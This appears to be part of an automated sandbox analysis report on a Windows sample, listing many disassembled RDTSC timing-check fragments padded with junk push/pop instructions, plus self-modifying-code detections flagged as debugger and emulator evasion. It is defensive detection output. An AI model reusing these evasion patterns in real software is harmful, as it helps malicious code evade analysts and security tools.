Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D3A7 second address: 127D3AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D66F second address: 127D674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D98E second address: 127D992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D992 second address: 127D9B9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0790D58126h 0x00000008 jmp 00007F0790D58134h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jno 00007F0790D58126h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280E8E second address: 1280EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0790D580ADh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280EA1 second address: 1280EC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0790D58138h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280602 second address: 1280608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280608 second address: 1280635 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0790D58126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F0790D5812Bh 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F0790D58126h 0x0000001d jmp 00007F0790D5812Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280635 second address: 128063F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0790D580A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128063F second address: 1280650 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0790D5812Ch 0x00000008 js 00007F0790D58126h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12807C1 second address: 12807C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128093E second address: 1280949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0790D58126h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280949 second address: 128094E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128094E second address: 1280979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0790D58126h 0x0000000a pop edi 0x0000000b push esi 0x0000000c jmp 00007F0790D58137h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280979 second address: 1280980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280C2D second address: 1280C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280C33 second address: 1280C39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283FB1 second address: 1283FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F0790D5812Dh 0x0000000d pop edi 0x0000000e push eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12895D5 second address: 12895EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0790D580B0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A5C6 second address: 128A5E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D58131h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F0790D5812Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128AF1F second address: 128AF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0790D580ACh 0x0000000a jc 00007F0790D580A6h 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F0790D580B1h 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b jnp 00007F0790D580A6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128AF4C second address: 128AF6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F0790D58126h 0x00000010 jmp 00007F0790D58131h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128AF6D second address: 128AF8E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0790D580A6h 0x00000008 jmp 00007F0790D580ADh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 js 00007F0790D580A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128FFE5 second address: 128FFF8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F0790D5812Ah 0x0000000a pop edi 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129317D second address: 1293183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12932BE second address: 12932DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F0790D5812Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F0790D58126h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12932DD second address: 12932E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129346E second address: 129349A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0790D5812Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F0790D58138h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129349A second address: 12934BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F0790D580A6h 0x0000000e jmp 00007F0790D580B1h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12938EE second address: 12938FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0790D58126h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12938FF second address: 1293922 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F0790D580A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293C1B second address: 1293C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0790D58138h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A1DE second address: 129A1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0790D580A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A360 second address: 129A364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A364 second address: 129A36E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0790D580A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AA65 second address: 129AA69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AA69 second address: 129AA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0790D580B1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AA80 second address: 129AA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0790D5812Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129AA93 second address: 129AAE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0790D580B7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F0790D580BFh 0x00000011 jmp 00007F0790D580B9h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jnp 00007F0790D580CCh 0x0000001e pushad 0x0000001f jnl 00007F0790D580A6h 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2ACA second address: 12A2ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2ACE second address: 12A2B01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0790D580B8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2B01 second address: 12A2B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F0790D58128h 0x0000000e jng 00007F0790D58128h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2B1F second address: 12A2B33 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0790D580B2h 0x0000000c jl 00007F0790D580A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B022E second address: 12B0238 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0238 second address: 12B023E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B32E0 second address: 12B3307 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D5812Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0790D5812Fh 0x00000011 jno 00007F0790D58126h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3307 second address: 12B332C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0790D580AEh 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B332C second address: 12B3332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCC73 second address: 12BCC8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580ADh 0x00000007 jbe 00007F0790D580A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCC8D second address: 12BCC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 popad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C46EB second address: 12C46F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C46F5 second address: 12C4707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jng 00007F0790D58126h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4707 second address: 12C4719 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0790D580A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4719 second address: 12C471F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C458F second address: 12C459E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0790D580A6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C459E second address: 12C45A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE150 second address: 12CE190 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0790D580C5h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F0790D580B2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC9D3 second address: 12CC9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC9D7 second address: 12CC9E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580AAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC9E5 second address: 12CC9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F0790D58126h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CCCD2 second address: 12CCCE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F0790D580B1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CCCE9 second address: 12CCCED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CCCED second address: 12CCCF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CCCF7 second address: 12CCCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD00D second address: 12CD02E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F0790D580BAh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD02E second address: 12CD038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD14B second address: 12CD155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0790D580A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD155 second address: 12CD15F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD408 second address: 12CD40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD40E second address: 12CD412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD412 second address: 12CD441 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0790D580A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0790D580B6h 0x0000000f pop ecx 0x00000010 push ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jbe 00007F0790D580A6h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD441 second address: 12CD449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDE7C second address: 12CDE81 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D25B7 second address: 12D25BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EEC3B second address: 12EEC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EEC41 second address: 12EEC45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDB33 second address: 12FDB5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0790D580B4h 0x00000009 jmp 00007F0790D580AFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDB5A second address: 12FDB5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDFAD second address: 12FDFB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE56A second address: 12FE572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE80F second address: 12FE815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13003F8 second address: 13003FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130498E second address: 1304993 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304C2B second address: 1304C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F0790D58128h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D373Bh], eax 0x00000028 push dword ptr [ebp+122D5351h] 0x0000002e add dh, 00000010h 0x00000031 call 00007F0790D58129h 0x00000036 jmp 00007F0790D58130h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304C83 second address: 1304C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304C87 second address: 1304C8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306201 second address: 130620C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130620C second address: 130622C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D5812Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F0790D58126h 0x00000011 jnp 00007F0790D58126h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0355 second address: 4FB0359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0359 second address: 4FB0368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D5812Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB044A second address: 4FB044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB044E second address: 4FB0461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D5812Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0461 second address: 4FB0467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0467 second address: 4FB046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225BE4 second address: 1225BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1071841 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1244553 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1221AEE instructions caused by: Self-modifying code

